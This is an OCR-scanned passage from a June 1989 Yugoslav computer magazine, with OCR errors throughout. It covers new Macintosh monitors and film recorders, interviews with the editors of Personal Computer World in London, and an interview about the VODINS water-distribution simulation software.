MacSync prima kompozitni 1 anaiogni vi-

deo siganl. Veiicina samog ekrana je 240 mm
X 180 mm. a rezolucija slike 640 x 480.

Stamparska rezolucija

Monitoram kompanija je prikazala svoj no-

vi koiormonitor Viking 21 sa velikom (oni su

je nazvaii „stamparskom") rezolucijom od
1024x768. Dijagonala ekrana je 21 inc (oko

53 cm). Paleta sadrzi 16.8 miliona nijansi od
kojih jc moguce istovremeno prikazati 256.

Viking 21 je idealan za desktop-publishing

aplikacije, CAD projekle i kompjuterske kolor

prezentacije.

Stereo-slika

Poznato je da levo oko i desno oko razlicito

vide istu sliku, Tu razliku covekov um inter-

pretira kao dubinu. Gledanje slike obicnog,

dvodimenzionalnog monitora ne izaziva uti-

sak dubine. StereoOptic sistem kompanije E-

-Machines simulira dubinu slike naizmenic-

nim prikazivanjem slika videnih jednim, pa

zatim drugim okom, pri cemu se slike menjaju

120 puta u sekundi. Slike su polarizovane po-

mocu posebnog modulatora. Prilikom gleda-

nja StereoOptic slike kroz p<Kebne polarizaci-

one naocari svako oko vidi samo svoj deo I

mozak to interpretira kao dubinu slike.

Rezolucija dobijene slike je 640 x 480. broj

nijansi na ekranu moze biti 256 iz palete od
16,8 miliona. Koriscenjem posebnog dela me-
morije kartice koji se zove QuickDraw Over-

lay Frame Buffer, moguce je kombinovati ste-

reo-siiku i Macintosh aplikacije. Uzgred, Ste-

reoOptic video kartica je kompatibilna sa Nu-
Bus grafickim koproi^sorima.

Za prikazivanje stereo slike, E-Machines

kompanija prepravila je 14-incni Zenith Flat

Tension Makt (FTM) kolor monitor.

E Machines je takode prikazala i novi i9-iQ-

cni kolor monitor n9 SE/30. Monitor, name-
Hjen novom Macintosh SE/3Q kompjuteru, ko-

risti Trinitron tehholc^iju, rezolucija slike je

1024 X 808 a slika se (^navlja.70 puta u sekun-

di. Cena: 6195 dolara.

Sa ekrana na slajd

Kompjuterska grafka se najcesce koristi za

razne prezentacije. Vlada miSljenje da ce ideja

biti bolje prihvacena ako je graficki dobro pri-

kazana. Kako se za prezentacije obicno koriste

slajdovi, pozeljno je da vreme cekanja na nji-

hovu izradu bude sto manje. .Ako vam je ure-

daj za pravljenje slajdova na dohvat ruke i pri-

stupacan u svako doba dana r noci, sv-aka pro-

mena vase kompjuterske grafike moze se od-

mah prebaciti na slajd. U^eda vremena, a ti-

me i novca. znatno je doprinela povecanju po-

pularnosti film rckorda. Ovom prilikom iz-

dvojicemo Minis Film Printer i Montage Film

Recorder FRl.

Mirus Film Printer koristi sopstvenu Direct

Digital Imaging tehnologiju za prenos ekran-

ske slike na film, pri cemu je fimska rezolucija

cak 16 puta bolja od ekranske. Broj prikazanih

nijansi moze se pove^ti na 16 miliona. Na
slajdu se, pored grafike kreirane uz pomoc
Mac programa, mogu registrovati i 35 fontova

(kompatibilnib sa LaserWriter fontovima)

svih veiicina, kao i grafika ubacena putem ska-

nera ili dire^no iz video uredaja.

Snimanjc pocinjc transferom podataka od

Macintosha do Film Printera putem Mac SCSI

porta. Ovaj brzi digitalni interfejs omogucava
„snimanje” slike vece rezoiucije i jasnije dubi-

ne od originala prikazanog na Mac monitoru.

Zatim se zrak za snimanje digitalno postavi u

odgovarajucu poziciju i digitalno modu^se, za-

drzavajuci pri tom konstantni intenzitet. Za
svaku snimljenu tacku rezervisano je 24 bita

koji ]oj odreduju boju cime je broj nijansi po-

vecan na 16.8 miliona.

Mirus Film moze po vasoj zelji praviti slaj-

dove niskog (za testiranje). normalnog i viso-

kog kvaliteta pri cemu veiicina slike na slajdu

ne zavis! od velicine originala. Cena; 5895 do-

lara.

Montage FRI, pravi i slajdove, fotografije i

Polaroid snimke u roku od 3-4 minuta. Slika

moze imati 16.8 miliona nijansi, a rezolucija je

4096x2731. Montage koristi sopstvenu Hi^
Definition Digital Imaging tehnologiju, moze
se kombinovati sa vecinom Mac (i IBM kora-

patibilnih) programa. Uz uredaj je ukljucen i

35 mm fotoaparat koji sam namesta, vrti i pre-

motava film.

O

8 SVET KOMPJUTERA / JUN '89.



NAUCUMESTA

„Persoiial Computer World"

Nas britanski imenjak
Malo fe veiovatno da u
JugosJavifi postoji osoba koja se

na ovaj Ui onaj naan bavi
kompjuterima a da nije cula za
casopis Personal Computer
Wodd. Razlt^ za to nema
puao all su prilicno uverljivi: 1.

PCW (kako je poznat, sto iz

miJ/a, sto iz prakticnib razloga)

je verovatno, uz Byte,

najpoznatiji svetski casopis za
kompjuterske teme; 2. PCWje

izuzetno rado atan u
Jugoslaviji; 3. i kao konacno ali

nikako najmanje vazno, PCW je

osnovao nas covek, Andelko
Zgorelec i time deSnitrvno
osvetlio obtaz nasem
racunarstvu u svetu.

R
Fi» Jeleoa Rupnik

i Branko Dakovic

azgovor sa redakcijotn nije bilo teS

ko zakazati. Posle kraceg telefon-

skog razgovora sa Manekom Duba
som (Manek Dubash) zamenikom glavnog i

odgovomog i Derekom Koenom (Derek Coe-

hen) glasTiim i odgr^vomim, dogovorili smo se

da za \Tenie posete Londonu jedan dan svrati-

mo i do njih.

U Londonu je to vec izgledalo malo teze.

Trebaio je probiti se do uUce Brodvik u kojoj

se nalazi kompanija VNU Business Pnblicati

ons, sadasnji vlasnik PCW-a. Da objasnimo, ta

Kako rade novinari

PCW-a
Oprema u redakciji Persona! Computer

World-a se prilicno poklapa sa temama o ko-

lima PCW cesto pi^. Tako oni u redakciji

imaju 4 kompjutera sa 386 procesorom (za

svakog od urednika po jedan) od kojih je dva

napravio Dell a druga dva Zenith- Takode je

tu par matricnih siampaca kao i NEC-ov la-

serski stampac na kojem se izviace svi tek-

stovi. Tu je jos i jedna Victor-ova 286 masina

kao i par obicnih XT-a. Culi smo da tu negde

postoji i Mekintos ali ga nismo videli,

Od softvera koriste; Word- Perfect. As

kSam, Procomm Wus i DesqView. Svi racu

nari su povezani MainLAN mreiom. Osim
ovih. najceSce kori^enih programa imaju I

pravu maJu biblioteku raznoraznih proizvo-

da iz upravo ovih navedenih kalegorija. Ka

zu da do izbora sofn-era i hardvera dolaze

sasvim slucajno tokom prikazivanja nekog
proizvoda. kada se zaista zainteresuju za nje

ga-

Derek Koen. glavai i odgovomi urednik

casopisa PCli'

Pratimo iskljucivo kucne i pcrso-

nalne komp)utere i odgovarajuci

softver i samo nove proizvode u
ovo) obiasti. Kada se poyavi nova
stvar, pokusavamo (a cesto i us-

pevamo) da prvi izademo sa pri-

kazom. To je sjajno za prodaju.

Gn/ A/un/, covek ko/i .iari i pali~ briunskim

kompfuterskiw oovinarstvoai

ulica se nalazi u samom centru ali i u samom
ceniru Sohoa. verovatno najzivljoj cetvrti Lon-

dona. Predeo u kojem se nalazi VNU p^lovna
zgrada je mala poslovna oaza opkoljena sa

svih strana. Sa juga su to seksi sopovi i klubovi

Sohoa, sa zapada Ulica Kamabi. prava meka
tinejfizerske mode, sa severa ortodoksna ^o-
vacka ..strafta". Oksford strit a sa istoka kines-

ka cctvrt.

U takvom okrufenju zgrada u kojoj je smes-

ren PCW izgleda krajnje tradicionalno. To je

\nsoka p<»lovna zgrada prekrivena obojenim

siaklom. U njoj su osim redakcija PCW a

smestene i redakcije ostalih casopisa koje izda

je VNU, a medu njima se nalazi i nekoliko

kompjuterskih casopisa koji su nesto manje

poznat! od PCW (bar u Jugoslaviji) kao sto je

Micro Scope.

Sama redakcija PCW-a ne izgleda mnogo
drugacije od redakcije sHcnih jugoskjvenskih

casopisa. Radi se o vleikoj, svetloj prostoriji is

punjenoj papirima. casopisima. disketama.

knjigama i. naravno, kompjuleriraa. i kompju-

terskom opremom. Obilje kompjutera i kom
pjuterskc opremc je verovatno jedina st\ar po

kojoj se redakcija PCW a razliku)e od domacih

„Ozloglasem" Gaj

Kjuni
Razgovarajuci u PCW-u imali smo zado-

voljstvo i cast da se upoznamo i sa Gajem
Kjunijem (Guy Kewnev). jednim od najpoz-

natijih kolumnista britanskc kompjuterske

stampe. Gaj Kjuni ureduje novosii u PCW u i

predstavlja jednu od najzanimljivijih licnosii

(uz Martina Benksa) koje pisu u PCW-u. Nje-

gova rubrika vesti je poznata (u struci bi rek-

li .ozloglasena") zbog neverovatnih kontaka

ta sa ljudima iz kompjuterske indusirije. Ta

ko ta. zaista, kvalitetna rubrika (koju fugos

lovcnski casopisi po s\'cmu sudeci pazljivo

prate i intenzivno koriste) sadrii obilje maie-

rijala, od ekskluzivnih vesti do uzbudljivih

traceva.

Kada je saznao da su lii u redakciji PCW a

ljudi iz Jugoslavije. kako kaze ..nije mogao da

odoli" i svratio je da se upoznamo.
Brzo smo saznali da mu je jugoslovensko

racunarstvo inieresanino samim tim sto ne

zna puno o njemu. Uopste, o IsioCnoj Evropi

ne zna dovoljno i felja mu je da se dctaijnije

informise i vise uputi. Nesto vi« zna o Ma-

darskoj, i to je sve. Sa blagonaklonim iznena

denjem sasluSao je par anegdota kojima smo
sazeto opisali domace kompjuterske (ne)pri-

Uke.
Popricao je sa nama o svom radu u

PCW-u. uputio nas na neke zanimljivosii,

pozeleo srece u radu u Britaniji i vratio se pi-

sanju rubrike za najnoviji PCW.

racunarskih casopisa. Kad smo mi boravili u

njoj u redakciji je bilo sedmoro Clanova dok
pun sasiav broji desetak. Cinilo se da niko ne

zna tacan broj zaposlenih. Ono sto s\*akako

upada u oti jeste prosecna starost zaposlenih.

koji su svi prilicno mladi. Podela poslova je

skoro tipicno jugoslovenska; par devojaka ko-

|e smo zatekli bave se pretplatama i tehnickim

poslovima. dok muskarci ureduju. Ohrabruju-

ce je otkriti da mi uspesno pratimo takve tren-

dove u jugoslaviji. bar kad je racunarstvo u pi-

tanju.

Bili smo Ijubazno docekani iako je izgledalo

kao da nisu bas sigumi zaSto bi neko iz Jugos-

lavije zeleo da pise o njima. Posto smo smirili

njihovu znatizeliu pricajuci im o nasoj zemlji,

racunarstvu kod nas. kompjuterddm casopisi-
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NA Lieu MESTA

ma, tirazima u ^goslavijj i slicnim temama i

oni su postaii predusretljiviji.

Najveci deo razgovora voden je sa Derekom
Koenom mada se Manek Dubas redovno uk-
Ijucivao a ostali iz redakeije obavezno dobaci
vali ako se radilo o interesanlnoj temi.
• Kada biste morali nekome da opisete

razliku izmedu casopisa Personal Computer
World i drugih kompjuterskih casopisa. kako
biste to ura^i?

Koen: Ono slo je sasvim sigurno karakteds-
ricno za nas jeste da negujemo temaiiku usme-
renu ka pleading edge", to jest ka ..vodecoj o§-
trici“ racunarskih proizvoda i pojava. Nema-
mo uporednih prikaza iako je to skoro tipicno
za britansku stampu i radimo skoro iskJjucivo
sasvim nove stvari. Uopsteno gledano radirno
skoro iskljucivo kuene ili licne kompjutere,
kao i softyer koji spada ii tii kategodju.
# Znaci, vaia koncepeija je zasnovana na

novim i zanimljivim stvarima?
Koeo: Upravo tako. Nasa mala tajna je da

uvek poku§avamo a cesto i uspemo da prvi
izademo sa pnkazom. To je sjajno za prodaju!
Prikaz je tada td puta veci nego sto bi inace
bio.

...
se trudimo da budemo veoma paz-

Ijivi ij rasporedivanju proslora izmedu razlici
ph masina. Bilo bi veoma lako raditi PC od
jentisani magazin, aii to nije ono sto PCW
predstavlja i sto mi zelimo da radimo. Imamo
tiraz od 75.000 primeraka i casopis namenjen
raznovrsnoj citalackoj publici.

Imamo sjajne odnose sa proizvo-
dacima. Koristimo to sto smo po-
stovani na trzistu da bismo zau-
zeli objektivan stav, i pisaU ono
sto mislimo.

• Koji su vasi ciijevi kod graKckog obliko-
vanja lista?

Koen: Svakome ko je ikad otvorio PCW jas-

no je da imamo dosta sreden graficki imidz.
Imamo samo nekoliko fotografa, ali to je sas-
vim dovoljno. Moglo bi nam se zameriti da je

graficki stil jednostavniji. ali poSto |e vecina ci-

talaca PCW stalna, mora postO)ati svest o to-
me gde je sta i da je to uvek na tom istom mes-
tu! Takode. posto uvek dajemo puno tehnickih
informaeija veoma cesto koristimo tabele i

gr^ikone i druga graficka pomocna sredslva.
Cesto treba uraditi veoma puno obimnih di

lagrama, a nikad nema dovoljno vremena za
to. Ipak, osnovni raspored se zna pa kod teh-
nickog uredivanja samo treba razmestiti stva-
n.

• Osim ekskluzivnih prikaza i obimnih
tehnickih informaeija vi ste poznati i po ne-
govanju tekstova koji informisu upravo na
jednom netehnickom, socioloskom nivou.
Rubrika Martina Benksa kao i testovi Caja
Kjuaija su tipican primer. To je deo vase kon-
cepeije?

Koen; Namerno negujemo sociolc«ki orijen-
tisane sri-ari. Iako je ^-ecina citalaca tehnoloski
orijentisana. smatramo da postoji znacajan
broj onih koje interesuju i ovako oblikovane
informaeije iz racunarstva.

To je deo nase sire strategije. Kada pisemo o
nekoj novoj maSini, mi moramo znati sta ce se
dogadati sa njom i o oko nje. moramo znati i

zasto i kada i koiiko i gde. Isto tako kada sag-
ledavamo novu tehnologiju moramo bar pred
videti sta ce se dogoditi kroz pet ili sest godina
sa njom. Moramo znati o demu se tu zaista ra-
di a ne samo da brojimo komponente ili bele-
zimo osobine.

PC World Focus, casopis koji je (za sada) podHstak PCW a

• Da U planirate intenziviranje takve ori-
jentaeije? Hoce Ii biti viSe takvih tekstova u
PCW-u?

Koen: Svakako ne u ovakvom PCW-u kak-
vog poznajetc, ali upravo zbog takvih razloga
pokrcnuli smo novi casopis koji se za s-tHa do-
bija kao dodatak uz PCW i koji se zove PC
World Focus. To je casopis skoro potpuno ne-
tehnicki orijentisan, naslao upravo za one ko
jima je PCW pretezak i pretehnicki. U njemii
se trudimp da standardne teme objasnimo na
koncizniji i prihvatljiviji nacin zadrzavajuci vi-

sok kvalitet tekstova.

• Imate Ii jo§ ne§to slicno u planu?
Koen: Jednom godisnje izdajemo Business

Survival Guide, koji je usmeren prema ijudi-

ma koji rade sa kompjuterima i koji je isto ta-
ko netehnicki orijentisan.
Za ovu godinu takode planiramo izdavanje

..specijalaca" o posiovnoj grafici i stonom izda-
vastvu. Sve u svemu. puno se radi ali se i re-
zultati vide.

• Kad vec pominjete koiiko radite. kazite
nam koiiko zaradujete.
Koen: Dobro se zaraduje. Postoji skala po

kojoj urednik u prvoj godini rada ima 80 poe-
na u drugoj 90 i tako dajje. Je trenutno imam
no. Prosecna plata u redakeiji je 11.600 funti.
T^e sindikaini prosek u citavoj kompaniji

• Koiiko ste vi vec u PCW-u i gde ste radi-
li pre toga? Da li je teSko postati giavni i od-
govomi urednik casopisa kao Sto je PCW?

Koen: Ja sam u PCW-u vcc dve i po godine.
Pre toga sam 4 godine radio kao urednik u
Micro Scope-u. Ja sam vec neobicno dugo na
celu PCW-a posto je vek urednika relativno
kratak. Najcesce odlaze zbog visokog pritiska i

konstantnog intenzivnog rada kao i zbog po-
voijnih mogucnosfi za zaposlenje posle ovak-
vog radnog mesta. Stekne se puno kontakaia,
a i reputaeija je tu

• Reputaeija sadaSnje garniture u PCW-u
verovatno nije zasnovana samo na tome $to
dobro pi§u ili su dobri urednici. Kako stojite

sa znanjem iz kompjuterskih oblasti?

Koen: Svi smo dobri softverasi. Ono o cemu
ne znamo ni§ta. a zelimo temu o tome, pove
ravamo ljudima za koje znamo da su strueni.
Treba pazijivo izabrati ko ce sta da radi. Susti-
na dobrog uredivanja i jeste u tome da se nadu
pravi Ijudi za prave teme.

• Citaoci verovatno umeju to da osete?
Koen: Imamo sjajne odnose sa citaocima.

To je jedna od tradieija PCW-a. Citaoci se od-
nose prema nama kao prema autoritetima sa
kojiraa mogu da komuniciraju. i to mi je dra-
go. Imamo zaista puno telefonskih ra^ovora
sa citaocima i to je sigurno debar znak.
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• Kakvi su vam odnosi sa proizvodacima?
Da li ikad dolazite u situaciju da ste izuzetno

pailjivi prema nekom? Da li imate svoje mi-

Ijenike? Da li se proizvoda£i nekad ljute na
vas?

Koen; Takvih problema uglavnom neraamo.

Imamo sjajne odnose sa proizvodacima. Koris-

timo to 5to smo po§tovani na trzistu da bismo
zauzeli objektivan stav. Upravo na§a jaka po-

zicija na tra§tu nam i omogucava da piSemo
upravo ono Sto mislimo. Zato i imamo uvek
ne§to §to drugi nemaju. Proizvodaci su svesni

da ce ekskluzivnost kod nas povuci i mnogo
detaljniji prikaz §to ga odmah bolje reklamira.

Na§i prikazi idu do cetiri strane. To je za njih

sve besplatna reklama. Takode, izuzetno do-

bro cuvamo tajne. Ako saznamo ne§to za §ta

kazemo da fie ifii u sledefiem broju to sigurno

nefie procuriti u javnost, To je takode nesto sto

proizvodafii umeju da cene.

Sto se naklonosti tice, moram da priznam
da to zavisi od lifine savesti svakog od nas, ma-

• da svi filanovi redakcije moraju znati §ta nije

dobro kod proizvoda i to i napisati. Niko ne
ocekuje od njih samo pohvale ili samo kude-
nja. Kad je nesto izvan njihove mofii, slobodni

su da traze pomoc od drugih.

• Bilo bi interesantno fiuti od jedne ovako
dobro upucene redakcije §ta ce bid najznafiaj-

nije na kompjuterskom tiiiStu u sezoni koja

je pred nama. Kakve su va§e prognoze onaj**

zanimljivijim temama?
Koen i DubaS (u jedan glas): Sasvim sigurno

je to prava invazija masina sa 286 i 386 proce-

sorima. 386 ce sasvim sigurno biti hit sezone.

Zatim, Apple ce sigurno izdati pravu gomilu

ma§ina. To sprema vefi duze vremena. Stono
izdava§tvo (Desktop Publisling) fie i dalje biti

hit kao i do sada...

Razni glasovi iz pozadine dobacuju; OS/2 i

Unix ce biti izuzetno znacajni, multitasking

sistemi ce postati sve interesantniji, Deskview
fie biti hit. RISC procesori fie biti sve bolji i sve

6e§fii, bifie sve vige ma§ina sa RISC procesori-

ma...

• DubaS: Doci fie do poboljagnja kod dis-

pleja prenosivih kompjutera kao i do daljeg

usavrSavanja lap-topova.

• Koen: Da, verovatno fie se vise raditi na
mini PC-ju.

• Sta fie jog biti novo?
Koen: Mozda fie graficki imidz PCW-a biti

nov. Upravo razmiSljamo da li da ga promeni-
mo po§to se razlikuje od novog imidza koji

imamo kod PC World Focus magazina.

• Gde se sve pcodaje PCW?
Koen: PCW se prodaje skoro po fiitavom

^ svetu. Tamo gde nemamo zvanicnu distribuci-

ju imamo pretplatnike, tamo gde nemamo cak
ni pretplatnike verovatno ima ljudi koji §ver-

cuju PCW jer nam se dogodi da dobijamo pis-

ma iz zemalja gde zvanicno nemamo pretpla-

^ te. Na primer cesto nam se dogodi da dobije-

mo pismo iz Nigerije ili Indije u kojima se tra-

zi besplatan primerak Casopisa.

• Ne iz Jugoslavije?

Koen; Ne. O Jugoslaviji ne znamo bas previ-

ie. Trenytno je prilicno interesantna Madar-

ska pa je sasvim moguce da fie i Jugoslavija do-

fii na red,

• Vi ste po svojoj orijentaciji otvoren ca*

sopis?

Koen: Svakako. Otvoreni smo za priloge i

teme kao i za skretanje paznje, iako moram
priznati da nas ne interesuju mnogo lokalna

trzi§ta. Upravo sad radimo na jednom ruskom
Clanku koji treba da izade u PCW-u.
• Manek, kako tzgleda raditi kao zame-

nik glavnog i odgovoraog urednika PCW-a,
jednog od najpoznatijih svetskih kompjuter-

skiih fiasopisa?

DubaS: Skoro isto kao i na nekom drugom
urednickom mestu, samo Sto je ovde daleko

Pametan racunarski izbor

Svi koji se bar malo have racuna-

rima svesni su cinjenice da po be-

lom svetu ima poprilicno nasih lju-

di koji zive upravo od kompjutera.

Interesantno je da, kog god naseg

uspesnog gastarbajtera pomenete,

on spada u jednu od dve prilicno

opskurne kategorije: ili su uspesni

programeri ili jos uspesniji profeso-

ri racunarskih nauka na velikim i

bogatim univerzitetima,

To nije slucajno. Svesni smo da

imamo previ§e racunarskih struC-

njaka za ovako malu zemlju. Zato

smo zadrzali one koji su nam po-

trebni, a ostalima smo blago sugeri-

sali da prosetaju po svetu. Tako
smo se otarasili nepotrebnih pro-

gramera, hardverasa i predavaca, a

zadrzali smo sve one sjajne direkto-

re instituta, upravnike racunarskih
centara, predsednike sizovskih ko-

misija za razvoj nove tehnologije, i

uopste, sve one krasne strucnjake

bez kojih nase racunarstvo ne bi bi-

lo ovde gde danas jeste.

Naravno, to nije kraj, To je samo
deo opsezne akcije diferencijacije

kvaliteta od balasta, zato sto nam je

jasno da samo na taj nacin mozemo
biti tako uspesni kao i do sada.

A ako neko od nasih svetskih ra-

cunardzija pozeli da se vrati? Pa,

zna se; mi imamo dobro razvijene

mehanizme za odbijanje i zbunjiva-

nje slicnih entuzijasta, uvezbane
dugogodisnjom praksom. Koristice-

mo sva raspoloziva sredstva za od-

branu naseg drustva.

O Jelena Rupnik

Prilog realizujemo u saradnji sa emisijom „TV-bajt" Televizije Beograd

uzburkanije i dinamicnije. Bezbroj stvari se

dogada istovreraeno i nemoguce je koncentri-

sati se duze od 30 minuta. Najfiesfie se mora
raditi 1 kod kuce da bi se sve stiglo. Znam da

ovo sad zvuci kao izuzetno tezaic rad, ali nije

bas tako. Ima tu 1 puno zadovoljstva.

• Derek, §ta vi o tome mislite?

Koen: Uzbudljivo je praviti PCW. Oduvek
sam zeleo da radim u ovakvom casopisu. Sto

se kompjutera tice, ja sam samouk. Osefim da

su kompjuteri fascinantna nova tehnologija i

zelim da se bavim njima. Volim da prenosim

entuzijazam koji imam, kao i da stimulisem

ljude. zajedno sa ostalima iz redakcije, da rade

nove stvari sa svojim kompjuterima. Smatram

da imamo odgovornost da citaocima kazemo

sta je sta i da ne krijemo istinu od njih.

Nikad nema dovoljno strana, nikad nema
dovoljno mesta kao ni vremena da se uradi

bas sve §to se zelelo. Uvek pazljivo citam PCW
i nikad nisam do kraja zadovoljan. Zeija mi je

da radim na tome da sve bude jo§ bolje.

• Neka poruka za jugoslovenske citaoce

ovog intervjua?

Koen: Ako nas citaju, neka doprinose. Neka
nam pisu. Neka nam slobodno predlazu filan-

ke, bez obzira na znanje engleskog jezika (cak

i u Engleskoj puno ljudi ima problema s jezii-

kom). Jugoslovenski citaoci. pozdrav - pism(a

ocekujemol
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INTERVJU

inz. Rajko Cavor

100.000 dolara za domad program

Bez sumnje radi se o velikom
uspebu. RO Energodata, a
sastavu beogradskog
Energoprojekta, zaposljava
vrbunske strucnjake i kreativce.

Nakon dugogodisnjeg razvoja
paket VODINS krenuo je na
(sudecipo prvim koraciwa)
uspesan put u svet, ubiruci prve
plodove mukotrpnog rada svojib
autora. Gradevinski inzenjer
Rajko Cavor deo je tima
strucnjaka koji je ostvario
ovakav uspeb. Prilikom nedavne
posete Energodati vodili swo
ovaj razgovor.

• Pre svega, kako je krenulo?
Rajko Cavor: Vec 15 godina u Energodati se

razvija specijalna vrsta tehnickog softvera za
simulaciju rada vodovodnih sistema i uopste
sistema pod pritiskom. Jos ranih 70-ih godina
koiega dr Dusan Obradovic poceo je sa cistom
teorijom, §to je korisceno na Energoprojekto-
vim posiovima. Razvijen je i niz matematickih
modela za sistem otvorenih tokova, hidroelek-
trane, vodovode i slicne stvari.

Poslednjih par godina akcenat je stavljen na
softver za kontrolu, pracenje i simulaciju rada
vodovodnog sistema. Obuhvata sve §to se u
jednom normalnom vodovodu moze naci - to

su razne crpne stanice, rezervoari, cevi, zatva-

raci, itd. To je interesantno za projektante koji

rade nove vodovode ili prosiruju postojece, da
bi videli kako novi vodovodni sistem treba

uraditi, kako njime upravijati, jer u pitanju su

ogromni troSkovi, utrosena voda, struja za
crpne stanice, pogonski troskovi...

• Tako je uastao VODINS. O kakvom se pro-
gramu radi?

Cavor: Sa matematicke strane VODINS je

dosta komplikovan projekat. Radi se sa og-

romnim sistemima nelinearnih jednacina... ^i
to uostalom i nije bitno za korisnika. Bitno je

da smo razvili model pomocu kog u vodovod-
nim organizacijama rade ljudi koji nisu suvi§e

obrazovani za takvu vrstu posla. Ranije je bilo

potrebno da to bude gradevinski ili masinski
inzenjer, cak i sa odredenim poznavanjem
kompjuterske tehnike.

Ono sto smo mi sada uradili jeste u potpu-
nosti interaktivan program koji sve obavija za
korisnika; komunikacija je vrlo jednostavna i

pomaze ljudima da simuliraju rad realnog vo-

dovodnog sistema u odredenom vremenskom
periodu. Recimo da se sada nalazirao u kon-
trolno-komandnom centru beogradskog vodo-
voda i hocemo da crpna stanica „Tasmajdan"
radi tako i tako, da neka druga radi na neki
drugi nacin i vidimo §ta ce se desiti: da li ce
neko ostati bez vode, koliko cemo potrositi

struje i posmatrati druge parametre.
U Jugosiaviji, VODINS je instaliran u vodo-

vodnim sistemima u Beogradu, Sarajevu, Mos-
taru, na Krku, Buzetu, Ljubljani, Kragujevcu,

Nisu, Cacku, uskoro verovatno u Zagrebu...

Slika 1. Vodovodni sistem u britanskom mestu Pul simulira se programom VODTNS

Slika 2. Karta pritiska u sistemu vodovoda
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• Automatika u vodovodnim sistemima ve-
rovatno je vec prisutna...

Cavor: U setu je to potpuno normalno. Veli-
ki vodovodni sistemi pokriveni su telemetrij-
skim kompjuterima tako da se gomila tacaka
u sistemu posmatra; informacije sa raznih me-
raca protoka vode daljinski se prenose (tele-
fonskim ili cak satelitskim vezama) do centra
gde ljudi koji tamo rade na ekranu svog kom-
pjutera vide kako se sistem ponasa u ralnom
vremenu. Te§koca kod ovih sistema je sto se
uglavnom prostiru na velikom podrucju, beo-
gradski recimo ima 60 km u precniku. Tu se
javlja niz probiema. pre svega vezanih za brzu
komunikaciju sa elementima sistema.

Pokazalo se vrlo dobro da covek u kontrol-
no-komandnom centra moze da predvida sta
ce se desiti, da simulira odredenu situaciju, i u
zavisnosti od rezultata izda naredbu koja se
preko telemetrijskog kompjutera §alje odgova-
rajucem elementu sistema. Da se zatvori neki
ventil, napuni neki rezervoar, aktivira neka
crpna stanica ltd,

Preko svih dosadasnjih generacija kompju-
tera VODINS je neprestano razvijan, U posled-
nje dye godine jednostavno smo ga prilagodili
novoj tehnologiji, dodali grafiku gde god je to
moguce, omogucili maksimalnu interakciju.
Ono cemu sada tezimo je nekakav zametak
ekspertnog sistema. Cilj je da od korisnika sis-

tema zahtevamo sto manje predznanja, da lju-

di sa ovim programom rade i na delu pokazu
da je to dobro.
Da bi moglo da se radi u usiovima kakvi su

sada. mi smo pre svega VODINS visestruko
ubrzali, pre svega matematickim metodama i

nekim dodacima u programu. Naravno, tu je
bitan i sam kompjuter i evo sada na PC-ima
program je sve brzi i brzi. Plan je da aplikciju
prebacimo i na VAX radne stanice gde bi pro-
racun ponasanja nekog sistema tokom 24 sata,
sa oko 5 minuta (kolko se sada izvrsava na PC
AT-u sa koprocesorom), sveli na manje od mi-
nut. To je upravo ono sto je omogiicilo ovaj
na§ uspeh, U poslednjih godinu dana, radeci
na programu, uspeli smo da brzinu proracuna
smanjimo 60-70 puta. Kad covek zeli da simu-
lira ponasanje sistema u odredenoj situaciji i

na rezultate ceka 3-4 sata - ili izgubi svaki in-
teres ili, najcesce, posle tog vremena podaci
nisu upotrebijivi jer se i situacija „na lerenu"
promenila.

• Razlog za nas razgovor je vas intemado-
alni uspeh...

Cavor: Napravili smo posao sa engleskom
korapanijom „Wessex Water Authority" koja
vodom snabdeva citav juzni deo Engleske.
Potpuno su opremljeni telemetrijskim kom-
pjuterima. procesnim kompjuterima i ostalom
opremom. Sa njima imamo dugogodisnju sa-
radn[u i stekli smo iskustva sto se tice mate-
matickog modeliranja i uopste takve vrste sof-
tvera. VODINS (u engleskoj verziji WATDIS
-Water Distribution) instalirali smo u oblas-
nom centru u mestu Pul. Sistem radi u real-
nom vremenu. Njihdv operater ima jedan PC
na kome je „zivi" sistem i drugi PC na kom je

matematicki model. Na matematickom mode-
tu covek obavlja sve ono sto sam vec pome-
nuo; proverava sta se dogada ako se nesto ne-
predvideno desi - ako pukne cev, ne§to se ot-
vori, zatvori, izbije pozar. To se brzo proven,
vrati se na realni sistem, izdaju odgovarajuce
komande i na taj nacin upravija sistemom. Cilj

engleske kompanije je da se boljim nacinom
rada smanje svi zavisni tro§kovi.

• Da li Da ovom trziStu ima konkurencije?
Cavor: Normalno je da je ima. Medutim, mi

smo ispred njih. Poredili smo na§ program sa
drugima u svetu, od kojih su neki koriSceni i u
ovoj kompaniji u Engleskoj i oni su zakljucili
da je VODINS mnogo efikasniji, brzi i da je
laksi rad sa njim.

• Verovatno se necete zadrzati na ovome.
Cavor: U toku je instaliranje nase aplikacije

na jo§ dve lokacije u okviru podrucja koje po-
kriva kompanija „Wessex Water Authority".
Za novembar je planirano da zajedno sa njima
izvrsimo svetsku promociju VODINS-a kao
nageg proizvoda na sajmu „WorId Water" gde
se okupljaju ljudi iz ove struke i pokusamo da
ga plasiramo - pre svega u Engleskoj, a kasnije
i na drugim trzistima. Sanse su realne. Pomi-
nje se Australija, Los Andeles...

• Kakvi su ekonomski efekti?
Cavor: Dobri. Mi smo za ovaj prvi ugovor u

Engleskoj dobili oko 50.000 funti, sto je za sof-
tver- prilicna cena. To je cena za ove tri instala-
cije u WWA, a samo oni imaju ih bar dvadeset.
Ovakav matematicki model potrebno je na-
praviti za svako od vecih mesta.

• Uspeh van na§e zemlje sigumo je motivaci-
ja za dalji rad. Kakvi su planovi?

Cavor: Zahvaljujuci zadovoljavanju potreba
inostranog partnera nivo programa podigli
smo za klasu, a time najvise dobijaju domaci
korisnici ovog sistema. Pravimo dalje ekstenzi-
Je. Sada, recimo, radimo sistem koji crta kartu
pritiska. To je prilicno tezak posao: na osnovu
geometrije terena i cevovodne mreze izracu-
nava se pritisak u svako] tacki... vrlo gadno.
Do sada se £esto od toga odustajalo. Stvar je
vrlo dragocena jer se odmah vide zone niskog
pritiska sto najrecitije pokazuje gde se javlja
najveci rizik da potrosaci ostanu bez vode.

• Da li planirate da slican sistem napravite i

za elektrodistribucione sisteme? Cini se da
nema mnogo razlika i da ne bi bilo narocitih
probiema.

Cavor: Tacno. Medutim kolega Obradovic i

ja bavimo se ovom strukom. Bilo bi lepo da se
neko od kolega pozabavi tim problemom. Ve-
cina jednacina je siicna, mnoge stvari se mogu
povezati analogijom...

• Isto vazi i za toplane, odnosno, sisteme
centralnog grejanja?

Cavor: To je fakode sistem koji razvodi vo-
du, u ovom stucaju i tophi i hladnu. Na§e kole-
